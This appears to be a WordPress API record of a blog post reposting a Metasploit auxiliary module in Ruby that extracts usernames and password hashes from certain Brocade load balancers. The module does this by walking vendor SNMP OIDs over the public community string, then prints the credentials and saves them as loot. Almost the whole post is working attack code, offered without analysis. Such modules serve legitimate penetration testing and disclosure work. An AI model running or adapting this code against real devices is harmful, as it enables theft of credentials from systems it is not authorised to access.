{"id":59337,"date":"2024-09-01T04:10:38","date_gmt":"2024-09-01T01:10:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180922\/brocade_enumhash.rb.txt"},"modified":"2024-09-01T04:10:38","modified_gmt":"2024-09-01T01:10:38","slug":"brocade-password-hash-enumeration","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/brocade-password-hash-enumeration\/","title":{"rendered":"Brocade Password Hash Enumeration"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::SNMPClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Brocade Password Hash Enumeration&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module extracts password hashes from certain Brocade load<br \/>balancer devices.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2014\/05\/15\/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string\/&#8217; ]],<br \/>&#8216;Author&#8217; =&gt; [&#8216;Deral &#8220;PercentX&#8221; Heiland&#8217;],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>end<\/p>\n<p>def run_host(ip)<br \/>begin<br \/>snmp = connect_snmp<\/p>\n<p>if snmp.get_value(&#8216;sysDescr.0&#8217;) =~ \/Brocade\/<\/p>\n<p>@users = []snmp.walk(&#8220;1.3.6.1.4.1.1991.1.1.2.9.2.1.1&#8221;) do |row|<br \/>row.each { |val| @users &lt;&lt; val.value.to_s }<br \/>end<\/p>\n<p>@hashes = []snmp.walk(&#8220;1.3.6.1.4.1.1991.1.1.2.9.2.1.2&#8221;) do |row|<br \/>row.each { |val| @hashes &lt;&lt; val.value.to_s }<br \/>end<\/p>\n<p>print_good(&#8220;#{ip} &#8211; Found user and password hashes:&#8221;)<br \/>end<\/p>\n<p>credinfo = &#8220;&#8221;<br \/>@users.each_index do |i|<br \/>credinfo &lt;&lt; &#8220;#{@users[i]}:#{@hashes[i]}&#8221; &lt;&lt; &#8220;\\n&#8221;<br \/>print_good(&#8220;#{@users[i]}:#{@hashes[i]}&#8221;)<br \/>end<\/p>\n<p>#Woot we got loot.<br \/>loot_name = &#8220;brocade.hashes&#8221;<br \/>loot_type = &#8220;text\/plain&#8221;<br \/>loot_filename = &#8220;brocade_hashes.txt&#8221;<br \/>loot_desc = &#8220;Brodace username and password hashes&#8221;<br \/>p = store_loot(loot_name, loot_type, datastore[&#8216;RHOST&#8217;], credinfo , loot_filename, loot_desc)<\/p>\n<p>print_status(&#8220;Credentials saved: #{p}&#8221;)<br \/>rescue ::SNMP::UnsupportedVersion<br \/>rescue ::SNMP::RequestTimeout<br \/>rescue ::Interrupt<br \/>raise $!<br \/>rescue ::Exception =&gt; e<br \/>print_error(&#8220;#{ip} &#8211; Error: #{e.class} #{e}&#8221;)<br \/>disconnect_snmp<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::SNMPClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Brocade Password Hash Enumeration&#8217;,&#8216;Description&#8217; =&gt; %q{This module extracts password hashes from certain Brocade loadbalancer devices.},&#8216;References&#8217; =&gt;[[ &#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2014\/05\/15\/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string\/&#8217; ]],&#8216;Author&#8217; =&gt; [&#8216;Deral &#8220;PercentX&#8221; Heiland&#8217;],&#8216;License&#8217; =&gt; MSF_LICENSE) end def run_host(ip)beginsnmp = connect_snmp if snmp.get_value(&#8216;sysDescr.0&#8217;) =~ \/Brocade\/ @users = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59337","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59337","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59337"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59337\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59337"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59337"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59337"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}